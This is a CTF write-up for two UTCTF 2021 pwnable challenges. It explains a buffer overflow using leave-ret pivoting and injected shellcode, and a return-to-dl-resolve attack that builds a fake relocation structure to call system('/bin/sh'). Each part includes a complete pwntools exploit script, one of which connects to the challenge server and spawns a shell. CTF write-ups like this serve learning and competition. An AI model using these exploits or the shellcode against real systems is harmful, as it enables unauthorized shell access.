0%

2021 UT CTF

2021 UT CTF Write-up

2SMOL (pwnable)

vulnerability

3

First, Check the protection. All of protection is turned off.

1

2

It called only readfunctions. but the size of read is bigger than buffer. It is Buffer OverFlow.
And NXbit is turned off, So I can use shellcode to exploit.

4

But we only have 0x8 size to write. It is not enough to write shellcode on the stack, and also even if we can write shellcode on the stack, we can’t leak the stack address.

6

So we have to write on memory which we know address. It is 0x402000. We can change the flow by using leave ret gadgets. then we can write shellcode on memory. Lastly, overwrite return address to shellcode’s address.

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context.log_level = 'DEBUG'

p = remote('pwn.utctf.live', 9998)
#p = process('./smol')
e = ELF('./smol')

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

binsh_addr = 0x402018
fakerbp = 0x402068
syscall = 0x40103d
before_read = 0x401015

pause()
payload = ''
payload += 'A'*8
payload += p64(binsh_addr)
payload += p64(before_read)

p.send(payload)

payload = ''
payload += "\x90"*8
payload += p64(fakerbp)
payload += p64(before_read)
payload += shellcode

pause()
p.send(payload)

payload = ''
payload += 'A'*8
payload += 'B'*8
payload += p64(0x402028)

pause()
p.send(payload)
p.interactive()

resolve (pwnable)

vulnerability

1

First, Check the protection. No canary, No pie and Partial RELRO. It is easy to overwrite stack buffer.

2

The main function only call get@plt. It can occur overflow here. But there is no way to leak libc address and also doesn’t have system functions which can call /bin/sh in binary. But the method for exploit can be inferred from the name of the problem. The name is resolve. So i used return-to-dl-resolve.

If you don’t know well about this, Please refer to the reference.

https://www.lazenca.net/pages/viewpage.action?pageId=19300744

Then let’s find gadgets for exploit.

3

There is getfunction. so i only need to control rdi for calling function.

55

And get section address what i need. like plt, bss, dynsym, dynstr, rela.plt

Using ROP, make fake structure which is used by lazy binding and write on the memory which i know address.

66

In my case, I wrote on 0x404508. The red is fake structure of Elf64_Rela. And the orange is about Elf64_Sym. The last things are system and /bin/sh.

After making fake structure, The system function is executed by invoking the plt.

8

Finally, I can call system(/bin/sh/)

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

context.log_level = 'DEBUG'
#p = remote('pwn.utctf.live',5435)
p = process('./resolve')
e = ELF('./resolve')

prdi = 0x004011c3
prsi = 0x004011c1
leave_ret = 0x00401158
get_got = 0x404018
get_plt = 0x401040
get_code = 0x040114e

binsh = 0x404550
ret = 0x401159
addr_code_get = 0x0401142

addr_bss = 0x404508 #fake_ebp
addr_plt = 0x401020
addr_got_plt = 0x404000
addr_dynsym = 0x4003c0
addr_dynstr = 0x400420
addr_rela_plt = 0x4004b8
fake_reloc_struct = 0x404508
fake_r_sym = 0x404530
fake_str = 0x404548
offset = 0x2ae

#stage1
#call read again for writting payload2 on .bss
#and call get_plt, trigger resolve
payload = ''
payload += 'A'*16
payload += p64(prdi)
payload += p64(addr_bss)
payload += p64(get_plt)
payload += p64(prdi)
payload += p64(binsh)
#ret instruction to prevent stack alignment failure in Ubuntu 18.04 or higher
payload += p64(ret)
payload += p64(addr_plt)
payload += p64(offset)

#stage2
#write payload2 on .bss
payload1 = ''
#fake_reloc_struct
payload1 += p64(get_got)
payload1 += p32(0x7)
payload1 += p32(0x2ba)
payload1 += p64(0x0) * 3

payload1 += p32(0x4128)
payload1 += p32(0x12)
payload1 += p64(0x0)
payload1 += p64(0x0)
payload1 += "system\x00\x00"
payload1 += "/bin/sh\x00"

pause()
p.sendline(payload)
pause()
p.sendline(payload1)

p.interactive()